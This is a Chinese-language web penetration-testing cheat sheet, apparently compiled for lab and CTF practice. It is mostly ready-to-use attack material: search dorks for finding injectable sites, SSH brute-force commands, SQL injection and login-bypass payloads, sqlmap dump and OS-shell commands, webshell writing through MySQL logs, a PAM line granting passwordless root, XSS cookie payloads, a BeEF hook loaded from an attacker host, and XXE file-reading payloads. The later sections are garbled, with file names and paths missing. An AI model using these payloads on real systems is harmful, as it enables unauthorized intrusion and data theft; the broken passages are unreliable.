DNS收集:A记录、CNAME、主机信息、邮箱
敏感目录:后台目录、上传目录、phpinfo
、robots.txt
、网站压缩包、Mysql管理接口、安装页面
操作系统:Windows
、Linux
数据库类型:Access、MySQL、MSSQL、Oracle、PostSQL、DB2
搭建平台:
脚本程序:
其它信息:端口、子域、旁站、指纹、C段、CMS、WAF
## 后台查找
admin
、admin/login.asp
、manage
、login.asp
等常见后台robots.txt
等敏感目录www.xxx.com/blog
www.xxx.com:8080
blogs.xxx.com
wap.xxx.com
工具 漏洞扫描 AWVS AWVS是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试网站安全,检测流行的安全漏洞。从AWVS11开始,变成了网页端打开的形式,使用一个自定义的端口进行连接。
# 测试网站: http://testhtml5.vulnweb.com/
#### AppScan
用户名: jsmith 密码: Demo1234
### 暴力破解
#### Hydra
> Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,其密码能否被破解关键取决于字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
##### 语法参数
hydra [-l username | -L file] [-p pwd | -P file] [-C file] [ host | -M file] [-o file] -l [TEXT] # 登陆名 -L [FILE] # 登陆名列表 -p [TEXT] # 密码 -P [FILE] # 密码列表 -M [FILE] # 目标主机列表 -o [FILE] # 输出发现的用户名和密码到指定文件
Exp: hydra -l login_name -p pwd ftp://[192.168.0.0/24]/ hydra -L login_list.txt -P pwd_list.txt -M targets.txt ssh hydra -l login_name -P pwd_list.txt ftp://192.168.0.1 hydra -L login_list.txt.txt -p pwd imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
##### 使用方法
$ hydra -l root -P pass.dic 192.168.0.1 ssh # 指定用户破解
#### Medusa
> Medusa是一个速度快,支持大规模并行,模块化,爆破登陆。可以同时对多个主机、用户或密码执行强力测试。Medusa和Hydra一样,同样属于在线密码破解工具。不同的是,Medusa较Hydra更稳定,但支持模块比Hydra少。
##### 语法参数
medusa [-h host | -H file] [-u username | -U file] [-p password | -P file] [-C file] -M module [OPT] -h [TEXT] # 目标主机名称或IP -H [FILE] # 包含目标主机或者IP的文件 -u [TEXT] # 用户名 -U [FILE] # 用户名列表文件 -p [TEXT] # 密码 -P [FILE] # 密码列表文件 -C [FILE] # 组合条目文件 -O [FILE] # 日志文件 -e [n/s/ns] # n代表空密码,s代表密码和用户名相同 -M [TEXT] # 选择执行模块名 -d # 显示所有模块 -n [NUM] # 使用非默认的TCP端口 -s # 使用SSL -r [NUM] # 重试间隔时间,默认为3秒 -t [NUM] # 设定线程数 -T # 同时测试的主机总数 -L # 并行化,每个用户使用一个线程 -f # 在任何主机上找到第一个用户名/密码后停止破解 -F # 在任何主机上找到第一个有效的用户名/密码后停止 -q # 显示模块的使用信息 -w [NUM] # 错误调试级别(0~10) -v [NUM] # 详细级别(0~6) -V # 显示版本 -Z [TEXT] # 继续上一次扫描
##### 使用方法
$ medusa -M ssh -h 192.168.0.1 -u root -P pwd.txt
#### MSF
> MSF(Metasploit Framework)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台。这个框架主要是由面向对象的Perl编程语言编写的,并带有由C、Python和汇编语言编写的可选组件。
##### SSH相关模块查询
$ msfconsole # 进入MSF msf > search ssh
##### SSH用户枚举模块
Name Current Setting Required(必填) ---- --------------- -------- CHECK_FALSE false no Proxies no RHOSTS yes RPORT 22 yes THREADS 1 yes THRESHOLD 10 yes USERNAME no # 用户名 USER_FILE /root/userlist.txt no # 用户名字典,和用户名2选1填写
msf5 > use auxiliary/scanner/ssh/ssh_enumusers # SSH用户枚举模块 msf5 auxiliary(scanner/ssh/ssh_enumusers) > show options # 查看配置 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.32.0/24 # 目标ip或网段
rhost => 192.168.32.0/24 msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt # 用户名字典 USER_FILE => /root/userlist.txt msf5 auxiliary(scanner/ssh/ssh_enumusers) > run # 启动
##### SSH登录模块
Name Current Setting Required(必填) ---- --------------- -------- BLANK_PASSWORDS false no BRUTEFORCE_SPEED 5 yes DB_ALL_CREDS false no DB_ALL_PASS false no DB_ALL_USERS false no PASSWORD no # 密码 PASS_FILE no # 密码字典文件 RHOSTS yes RPORT 22 yes STOP_ON_SUCCESS false yes THREADS 1 yes USERNAME no USERPASS_FILE no USER_AS_PASS false no # 用户名 USER_FILE no # 用户名字典 VERBOSE false yes
msf5 > use auxiliary/scanner/ssh/ssh_login # 用户登录模块 msf5 auxiliary(scanner/ssh/ssh_login) > show options msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.32.145 msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt msf5 auxiliary(scanner/ssh/ssh_login) > run
##### 其它模块
use auxiliary/scanner/ssh/ssh_version # SSH版本模块
### 爆破防御
#### 防御手段
#### 其它
$ vim /etc/pam.d/sshd auth sufficient pam_rootok.so # 【危险】root用户任意密码连接ssh
## 搜索引擎
### Google Hacking
- `site`:搜索指定域名的网页内容,可以用来搜索子域名
site:zhihu.com # 搜索与 zhihu.com 相关的网页 "Web安全" site:zhihu.com # 搜索 zhihu.com 中跟Web安全相关的网页
- `filetype`:搜索指定文件类型
"Web安全" filetype:pdf # 搜索与Web安全相关的PDF site:freebuf.com filetype:pdf # 搜索指定网站中的指定类型文件
- `inurl`:搜索url中存在特定关键字的网页,可用于搜寻有注入点的网站
inurl:.php?id= # 搜索网址中有"php?id="的网页 inurl:.jsp?id= inurl:.asp?id= inurl:/admin/login.php inurl:login
- `intitle`:搜索标题中存在特定关键字的网页
intitle:"后台登录" # 搜索网页标题是后台登录的页面 intitle:"后台管理" filetype:php # 搜索网页标题是后台管理的php页面 intitle:index of "Parent Directory" intitle:index of "password"
- `intext`:搜索正文中存在特定关键字的网页
intext:"powered by wordpress" # 搜索Wordpress制作的网址 intext:"powered by CMS" # 搜索CMS相关的页面
- 其他符号
-keyword # 强制结果不要出现此关键字 *keyword # 模糊搜索,强制结果包含此关键字 "keyword" # 强制搜索结果出现此关键字
### Shodan Hacking
> [Shodan](https://www.shodan.io)被称为"最可怕的搜索引擎"。除了常见的Web服务器,还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备。
- `ip`
114.114.114.114
- `service/protocol`
http http country:"CN" http product:"Apache httpd"
ssh ssh default password ssh default password country:"CN"
- `keyword`:基于关键词搜索的思路是根据banner信息(设备指纹)来搜索
"default password" country:"TH" FTP anon successful
- `country`
country:"cn" country:"us"
- `product`
product:"nginx" product:"Apache httpd" product:"Microsoft IIS httpd" product:"MySQL"
- `version`
product:MySQL version:"5.1.73"
- `hostname`
hostname:.org hostname:.edu
- `os`
os:"Windows Server 2008 R2" os:"Windows 7 or 8" os:"Linux 2.6.x"
- `net`
net:110.180.13.0/24 200 ok net:110.180.13.0/24 200 ok country:CN net:110.180.13.0/24
- `port`
port:22 port:3389
- 综合使用
# 搜索日本区开启80端口的设备 country:"JP" port:"80" country:"JP" port:"80" city:"Tokyo" product:"Apache httpd" os:"Linux 3.x" country:"JP" port:"80" city:"Tokyo" product:"Apache httpd" product:"Apache httpd"
# 搜索中国区使用Windows Server系统的设备 country:"CN" os:"Windows Server 2008 R2" country:"CN" os:"Windows Server 2003" port:"445"
### Zoomeye Hacking
> [ZoomEye](https://www.zoomeye.org/)是一个面向网络空间的搜索引擎,"国产的Shodan",由知道创宇出品。
app # 组件名 ver # 组件版本 country # 国家或地区代码 city # 城市名 port # 端口 device # 设备类型 os # 操作系统 service # 服务名 hostname # 主机名 ip # ip地址 cidr # CIDR IP段,如 8.8.8.8/24 ssl # SSL证书 title # HTTP首页标题
site # 域名 os # 操作系统 headers # HTTP头 desc # 首页描述信息 keyword # 首页关键字
- 综合案例
# Apache httpd,版本2.2.16 app:"Apache httpd"+ver:"2.2.16"
# SQL
> 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
## SQL基础
### 注入本质
> 攻击的本质在于输入输出控制。
- 什么是SQL注入
- SQL注入漏洞的原理是由于开发者在编写操作数据库代码时,直接将**外部可控的参数**拼接到SQL语句中,没有经过任何过滤或过滤不严谨,导致攻击者可以使恶意语句在数据库引擎中执行
- 将用户输入的数据当作SQL语句执行,有2个关键条件:
1. 参数带入数据库查询
2. 参数用户可控
### Mysql基本使用
-- 登录Mysql-- mysql -u'数据库账号' -p'密码' mysql -u'root' -p'owasp'
use database_name; -- 使用库 alter table table_name; -- 使用表 select user() -- 获得当前用户名 select databse() -- 获得当前数据库名 select version() -- 获得当前数据库版本 table_name='user_privileges' -- 用户权限表 table_name='schema_privileges' -- 数据库库权限表
## 数据库类型
- 判断数据库类型
and exists ( select * from msysobjects ) > 0 -- 存在则为Access and exists ( select * from sysobjects ) > 0 -- 存在则为SQLServer
### MySQL注入
#### 注入基础
> **MySQL 5.0**以上版本自带数据库`information_schema`,记录当前MySQL下所有数据库名、表名、列名。
-- information_schema提供了访问数据库元数据的方式 -- 元数据包括数据库名、表名、字段数据类型、访问权限等信息 -- 符号点"."表示下一级 Information_schema.schmata -- 记录库名信息的表,记录库名的字段为schema_name Information_schema.tables -- 记录表名信息的表,记录表名的字段为table_name Information_schema.columns -- 记录列名信息的表,记录列名的字段为column_name
-- 查询数据库库名、表名 information_schema.tables -- select distinct table_schema from information_schema.tables; -- 列出所有库,等价于show databases select table_name from information_schema.tables where table_schema='table_name'; -- 列出指定库的所有表,等价于show tables;
-- 查询数据库库名、表名、字段名 information_schema.columns -- select column_name from information_schema.columns; -- 列出所有表的所有字段 select column_name from information_schema.columns where ; -- 列出指定表的所有字段 select column_name from information_schema.columns where table_schema='database_name' and table_name='table_name'; -- 列出指定库指定表的所有字段
order by x -- 获取字段数 version() -- 版本信息 database() -- 数据库名 user() -- 数据库用户 @@version_compile_os -- 操作系统 @@datadir -- 数据库存储目录 @@secure_file_priv -- 导入导出限制
##### 示例
-- 获取web数据库下所有表名信息 id=1 union select 1,table_name,3 from information_schema.tables where table_schema='web'
-- 获取user表下的所有列名 id=1 union select 1,column_name,3 from information_schema.columns where table_name='user'
-- 上面语句查询某表所有列名时,可能会出现其它不属于该表中的列名 -- 原因是该表名可能在其它数据库中存在,而查询时可能会匹配到其它数据库中同表名的列名信息 -- 解决办法是添加一个条件,将范围限定在指定数据库下指定表中进行查询 id=1 union select 1,column_name,3 from information_schema.columns where table_name='user' and table_schema='web';
#### 注入流程
##### 判断注入点
and 1=1 and 1=2
##### 判断字段数
order by 1
##### 查询库名
union select 1,2,database(),4
-- 也可以查询其它信息 user() # 当前用户 version() # 当前版本 database() # 当前库名 @@version_compile_os # 操作系统
##### 爆表爆列
-- 爆表用group_concat()函数,需将目标据库名转换为十六进制 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=[十六进制数据库名]
-- 爆列,将目标表名转换为十六进制 union select 1,group_concat(column_name)3,4 from information_schema.columns where table_name=[十六进制表名]
#### 文件操作
-- 文件读写均需要输入绝对路径, -- 引号被过滤或闭合错误时,可将路径或写入的内容进行十六进制编码 -- load_file('file_name') 读取函数 select load_file('c:/file.txt'); select load_file(0x633a2f66696c652e747874);
-- into outfile 'file_name' 写入函数 select '123' into outfile 'c:/file.txt'; select 0x633a2f66696c652e747874 into outfile 'c:/file.txt';
##### 报错
- 文件读取一直返回NULL
- 原因:数据库用户权限不足,必须是root用户
- 文件写入报错:`The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
- 原因:mysql文件的导入和导出路径有默认的设置,即 `secure-file-priv`,当传入的csv文件路径与默认的路径冲突时就会报错。
- `secure-file-priv`的值有三种情况:
- `secure_file_priv=null`,限制mysqld不允许导入导出
- `secure_file_priv=/path/` ,限制mysqld的导入导出只能发生在默认的`/path/`目录下
- `secure_file_priv='' `,不对mysqld的导入导出做限制
#### 注入拓展
##### 通过日志记录写入木马
Mysql 5.0版本以上会创建日志文件,修改下面2个关于日志的全局变量,若对生成的日志有读写的权限也可以getshell
- `general log `日志记录状态,当值为`ON`时,所执行的sql语句都会保存到`general log file`中
- `general log file`日志保存路径
SHOW VARIABLES LIKE 'general%'; -- 查看日志状态 SET GLOBAL general_log='on' -- 开启日志记录 SET GLOBAL general_log_file='/var/www/html/123.php' -- 修改日志记录路径,路径不存在会报错
修改日志路径后,可通过`select '<?php phpinfo();?>'`写入`phpinfo`,然后浏览器访问该文件查看是否成功写入
##### PHP防注入
magic_quotes_gpc = off # php.ini配置文件下,开启后会对用户输入中的单引号进行转义
id = addslashes(_REQUEST['id']); # php文件中将用户输入放于addslashes()函数内
##### 跨库注入
> 意义:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。条件是网站B**数据库用户权限为root**
- 获取所有数据库名
id=1 union select 1,schema_name,3 from information_schema.schemata
- 获取指定数据库`pikachu`下 表名
id=1 union select 1,table_name,3 from information_schema.tables where table_schema='pikachu'
- 获取指定表名`users`下的列名
id=1 union select 1,column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'
- 获取指定数据
id=1 union select 1,username,password from pikachu.users; -- 查询pikachu数据库下的users表
### MSSQL注入
#### 注入流程
[测试靶场](testasp.vulnweb.com/showforum.asp?id=1)
- 判断是否有注入
and 1=1 and 1=2
- 判断是否MSSQL
and user>0
- 判断数据库系统
and (select count(*) from sysobjects) > 0 -- 存在则为MSSQL and (select count(*) from msysobjects) > 0 -- 存在则为Access
- 其它
- 基本信息
-- 获取数据库信息
and 1=(select @@version)
-- 获取当前数据库名称
and 1=(select db_name())
```
获取库名
获取表名
获取列名
获取数据
判断注入点
判断数据库表
猜解
偏移注入的产生主要是用来解决猜到表名,但猜不到列名的情况
先猜解出该表的字段数
使用*
号从后往前逐个删除替代,直至返回页面正常为止
代入计算公式
条件:同服务器下的站点存在注入点,知道目标站点数据库的绝对路径和数据库表,则可以通过跨库查询猜解表中的字段名
-- 绝对路径: D:\wwwroot\data.mdb
-- A是目标站点,B是存在注入的站点,AB处于同一服务器
-- admin是数据库中的表,user和password是admin表中的字段
?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\data.mdb].admin
?id=1 union select 1,2,user,password,5,6 from [D:\wwwroot\data.mdb].admin
主要函数
-- 猜解库名长度,相等则返回0即sleep(0),否则sleep(5)
-- select sleep(if((select length(database())=4), 0, 2));
?id=1 and select sleep(if((select length(database())=3), 0, 2));
-- 猜解库名
-- select sleep(if((select database()='user'), 0, 3));
?id=1 and sleep(if((select database()='user'), 0, 3))
?id=1 and select sleep(if((select database()='dvwa'), 0, 3));
limit n-1,n
查询第n
个表mid(table_name,x,1)
查询表中第x
位的值-- 猜解第1个表名长度
?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
-- 猜解第2个表名长度
?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 1,2
-- 猜解表名第1位
?id=1 union select 1,2,3,sleep(if(mid(table_name,1,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
-- 猜解表名第2位
?id=1 union select 1,2,3,sleep(if(mid(table_name,2,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
-- 使用ASCII码猜解表名
?id=1 union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97, 0, 1)) from information_schema.tables where table_schema=database() limit 0,1
报错注入'
布尔注入orand
联合注入:union语句用于联合前面的select
查询语句,合并查询更多信息;一般通过报错和布尔注入确认注入点后,便开始通过union语句来获取有效信息。联合查询语句的字段数需要跟前面查询语句的字段数相同,因此需要先猜测前面查询语句所查询的字段数。
时间盲注:某些数据库对错误信息做了安全配置,无法通过以上方式探测注入点。此时,可通过sleep()
函数来探测注入点。思路是当sleep(n)
函数被带入数据库执行时,网站会延时n秒后再返回信息。因此可判断是否存在注入点。
-- 报错注入
select * from news where id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
-- 布尔型注入
select * from news where id = 1 or 1=1;
select * from news where id = 1 and 1=2;
-- 联合注入
select * from news where id = 1 union select 1,2,3; 多语句查询注入
select * from news where id = 1;select 1;
-- 时间盲注
select * from news where id = 1 and sleep(5);
id=1'
,在1后面加入单引号,页面出错id=1 and 1=1
正常,id=1 and 1=2
错误id=1 and '1'=1
正常,id=1 and '1'=1
错误order by
order by
语句用于根据指定的列对结果集进行排序,所以可从1开始尝试,直至第n时返回错误页面(表示不能按第n列排序,即第n列不存在),因此可知该表共有n-1列。?id=1 and 1=1 order by 1...
exists()
?id=1 and exists (select * from admin)
?id=1 and exists (select username from admin)
union
,联合判断回显点
union
语法是在查询时,如有两条查询语句,前后语句的字段数需一致。?id=1 and 1=2 union select 1,2... from table_name
自动注入主要利用软件
SQLmap
,一个国内外著名的安全稳定性测试工具,可以用来进行自动化监测,利用SQL注入漏洞,获取数据库服务器的权限。具有强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
--current-db # 获取当前库名
-D "database_name" --tables # 获取指定库的所有表
-D "database_name" -T "table_name" --columns # 获取指定库指定表的所有字段
-D "database_name" --tables -T "table_name" -C "username, password" --dump # 下载指定库指定表指定字段
-p # 目标url中参数过多时,可指定注入参数
--dbms # 指定目标url数据库类型
--batch # 自动化完成
--dbs # 获取全部库名
--users # 获取全部用户
--current-user # 获取当前用户
# GET基本注入流程 #
# 1.获取当前数据库
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch --current-db
# 2.获取指定表
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" --tables
# 3.获取字段
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" -T "table_name" --columns
# 4. 获取数据
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch -D "database_name" -T "table_name" -C "column1, column2" --dump
POST注入有2种:
1种是先通过Burp截获并保存POST的数据包,再使用-r
参数指定数据包,同时可以使用-p
指定参数
1种是通过--data
参数,以key=value
的形式指定需要POST的参数
通过
--cookie
参数传入Cookies
进行注入
$ sqlmap -u "http://www.abc.com/index.php?id=1" --cookie "PHPSESSID=Your_Cookies" --batch
--dump-all # 下载全部数据库
--dump-all -exclude-sysdbs # 下载除系统库外的数据库
-D "database_name" --tables -T "table_name" --dump # 下载指定库指定表
# 获取数据库shell
--sql-shell
sql-shell> select * from users
# 系统方面权限可能不足
# 获取系统shell
--os-shell
# 调用系统cmd
--os-cmd=ls # 等号后面为cmd命令
# 可通过参数 --proxy=[http|https|socks4|socks5]://address:port 挂载代理
$ sqlmap -u "http://www.abc.com/index.php?id=1" --batch --current-db --proxy=http://1.2.3.4:80
-- asp aspx
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
用户名:' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码:1
-- PHP
'or 1=1/*
用户名: something
密码:' or '1'='1
-- jsp 万能密码
1'or'1'='1
admin' or 1=1/*
# Google
inurl:.php?id=
inurl:.jsp?id=
inurl:.asp?id=
inurl:/admin/login.php
# Baidu
inurl:news.php?id= site:edu.cn
inurl:news.asp?id= site:edu.cn
inurl:news.aspx?id= site:edu.cn
# 搜索引擎查询后台
site: 域名 intitle:登录 # 指定域名后台
inurl: wp-login.php # Wordpress后台
inurl: admin.php # Thinkphp框架后台
数字型
字符型
搜索型
安装并启动
打开文件,将和修改为自己的数据库账号密码;
修改4个文件setup-db.php
,setup-db-challenge.php
,sql-connect.php
,sql-connect-1.php
进入目录,找到前面3个文件;
每个文件都要修改以下3处:
最后,打开,点击即可
安装
下载
解压SQLMap,并将解压出来的文件夹移动到Python2的安装目录下(这里是),然后将该文件夹重命名为
在桌面新建快捷方式,位置为,名称随意
右键该快捷方式,修改起始位置为刚才的目录
最后双击打开该快捷方式,输入命令测试是否成功
$ sqlmap --version # Linux下使用
$ python2 sqlmap.py --version # Windows下使用
# 1.3.3.31#dev
-u # 目标url
--cookie # 使用
--level # 测试等级(1-5),等级越高测试包括的范围越关
--dbs # 列出库
--tables # 列出表
--columns # (-C,-T,-D)查询字段(字段值、表名、库名)
--flush-session
-T -columns # 跑出列名
-T admin -C “username,password”
--dump-all # 将目标里所有内容全部输出
MD5是不可逆的,它是一种散列函数,使用Hash算法。在计算过程中原文部分信息丢失。因此不能被破解,只能撞库攻击。
跨站脚本攻击(Cross Site Script)为了避免与层叠样式表CSS混淆,故称XSS。XSS是指攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而将一些代码嵌入到web页面中去,使得别的用户访问也好执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某些动作或对访问者进行病毒侵害等攻击。反射型和存储型XSS的作用一样,只是用户触发形式不同。
XSS类型 | 存储型 | 反射型 | DOM型 |
---|---|---|---|
数据存储 | 数据库 | URL | URL |
输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点 |
大小写绕过
闭合单双引号
尝试触发onclick
等事件绕过
双写绕过
字符编码绕过:采用html、URL、Base64等各种编码
HTML编码
字符实体
绕过magic_quotes_gpc
:针对开启了魔术引号的网站,可以通过JavaScrip中的字符串方法String.fromCharCode
,将ASCII转换为字符串
<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
"><a onclick=alert(document.cookie)>
# img
<img src=x onerror=alert('XSS')>
<img src="javascript:alert('XSS');">
<img src="http:www.baidu.com/xss.js"></img>
BeEF(Browser Exploitation Framework)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透测试;BeEF基于Ruby语言编写,支持图形化界面,操作简单。
BeEF功能
├── 信息收集
└── 网络发现
└── 主机信息
└── Cookie获取
└── 会话劫持
└── 键盘记录
└── 插件信息
├── 持久化控制
└── 确认弹框
└── 小窗口
└── 中间人
├── 社会工程
└── 点击劫持
└── 弹窗告警
└── 虚假页面
└── 钓鱼页面
├── 渗透攻击
└── 内网渗透
└── Metasploit
└── CSRF攻击
└── DDoS攻击
启动Apache和BeEF
# BeEF可以在Kali中点击打开,账号密码均为beef
# 访问页面
[*] Web UI: http://127.0.0.1:3000/ui/panel
# 内置脚本
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
攻击:Current Browser > Commands
攻击思路:攻击机通过MSF模块监听指定端口,然后通过BeEF对已植入XSS的靶机进行攻击,将靶机的浏览器重定向至攻击机所监听的端口。
先通过BeEF插入XSS
MSF配置模块并开始监听
通过BeEF控制靶机,将浏览器重定向至攻击机的指定端口
XXE(Xml External Entity Injection)XML外部实体注入。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。 XXE漏洞触发点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
<!-- 外部实体 -->
<?xml version="1.0" ?>
<!DOCTYPE XXE [
<!ENTITY name "Feng" >
]>
<Name>&name;</Name>
<!-- 外部实体 -->
<?xml version="1.0" ?>
<!DOCTYPE XXE [
<!ENTITY abc SYSTEM "outside.txt" >
]>
<user>&abc;</user>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
# Base64
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
整理众多 CTF 大赛中的 XXE 题,这里汇总了一些常用的绕过姿势(若有错误、不全,欢迎大佬评论区指正,小弟感激不尽